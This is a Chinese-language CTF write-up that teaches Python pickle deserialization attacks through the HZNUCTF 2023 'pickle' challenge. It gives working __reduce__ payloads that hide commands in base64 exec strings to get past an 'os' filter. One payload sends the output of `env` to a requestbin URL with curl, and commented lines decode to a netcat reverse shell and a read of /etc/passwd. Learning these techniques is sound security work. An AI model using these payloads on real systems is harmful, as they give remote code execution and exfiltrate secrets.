0%

python pickle反序列化

从题目NSSCTF上的一道题[HZNUCTF 2023 preliminary]pickle , 学习pickle反序列化

python pickle反序列化

1
2
3
4
#用到的python包
import pickle
import base64
import os
  • 序列化:将代码中的变量、类转化为固定的格式(生成固定格式的字符串)。

  • 反序列化:将字符串转化为python代码。

pickle反序列使用介绍

pickle模块中使用的两个函数

1
2
pickle.dumps()   # 将python代码转为为二进制字符串
pickle.loads() # 将字符串转化为python代码
  • 格式化字符串
1
2
3
4
5
import pickle
str = "hello"
serstr = pickle.dumps(str)
print(serstr)
print(pickle.loads(serstr))

image-20230519001822529

  • 格式化python类
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os

class tmp:
str = "hello"
def __reduce__(self):
return os.system, ("whoami",)


str = tmp()
serstr = pickle.dumps(str)
print(serstr)
print(pickle.loads(serstr))

其中__reduce__和php中的__wakeup__类似,在python执行pickle.loads()即反序列化时执行的函数。 return os.system, ("whoami",) 即执行os.system(“whoami”)命令。

image-20230519002433823

  • 所以正常的payload我们会用到__reduce__函数来返回值,执行一些命令。一般会用到os模块 system(“whoami”)来执行命令。

常规payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import base64

class tmp:
str = "hello"
def __reduce__(self):
return os.system, ("whoami",) # 执行命令


str = tmp()
serstr = base64.b64encode(pickle.dumps(str)).decode()
print(serstr)
print(pickle.loads(base64.b64decode(serstr)))

image-20230519003613196

思考 绕过os、无回显如何处理

题目

  • NSSCTF [HZNUCTF 2023 preliminary]pickle

过滤了os, 可以构造payload 使用exec执行python代码(pickle序列化的字符串中不能包含os)。

无回显可以使用 requestbin 外带出命令执行结果

1
curl -X POST -d "fizz=buzz" http://requestbin.cn:80/1p62pww1
  • 其中 “fizz=env“ 执行env命令 在requestbinz中可以看到命令执行结果

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pickle
import os
import base64

actual_payload = '''
import os
os.system('curl -X POST -d "fizz=`env`" http://requestbin.cn:80/1m3qq091')
'''

encode_payload = base64.b64encode(actual_payload.encode()).decode()

class rce:
def __reduce__(self):
# cmd = 'import base64; exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ3dob2FtaScpOw=="))' # b"import os; os.system('whoami');"
# cmd = 'import base64; exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ25jIG80NDgwNTFoMzMuemljcC52aXAgMzU4OTAgLWUgL2Jpbi9zaCcpOw=="))' # b"import os; os.system('nc o448051h33.zicp.vip 35890 -e /bin/sh');"
# cmd = 'import base64\nprint(1)'
#cmd = 'import base64; exec(base64.b64decode("aW1wb3J0IHRpbWU7IHRpbWUuc2xlZXAoMTApOw=="));' # b'import time; time.sleep(10);'
#cmd = 'import base64; exec(base64.b64decode("cHJpbnQob3BlbignL2V0Yy9wYXNzd2QnKS5yZWFkKCkp"));' # b"print(open('/etc/passwd').read())"
cmd = f'import base64; exec(base64.b64decode("{encode_payload}"))'
return exec, (cmd,)


str = rce()
serstr = base64.b64encode(pickle.dumps(str)).decode()
print(serstr)
print(pickle.loads(base64.b64decode(serstr)))